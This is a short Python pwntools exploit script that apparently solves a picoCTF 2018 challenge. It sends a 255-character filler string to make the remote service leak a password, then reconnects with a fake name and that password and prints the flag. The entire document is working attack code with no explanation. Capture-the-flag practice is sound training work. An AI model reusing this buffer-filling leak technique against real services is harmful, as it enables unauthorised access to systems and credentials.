from pwn import *

NAME_BUFFER_LENGTH = 256

r = remote("2018shell3.picoctf.com", 57659)
r.recv()
print
print "[*] Sending Payload ..."
r.sendline("A"*255)
print "[*] Leaked Password :",
pwd = r.recv().split(",")[1].strip("\n")
print pwd.split("\n")[0]
r.close()

## Injection Start Here
r = remote("2018shell3.picoctf.com", 57659)
print "[*] Exploiting ..."
r.recv()
print "[*] Sending Fake Name ..."
r.sendline("4nt7")
r.recvuntil("Password.\n")
print "[*] Sending password ..."
r.sendline(pwd)
print "[+] Flag : ",
print r.recv()
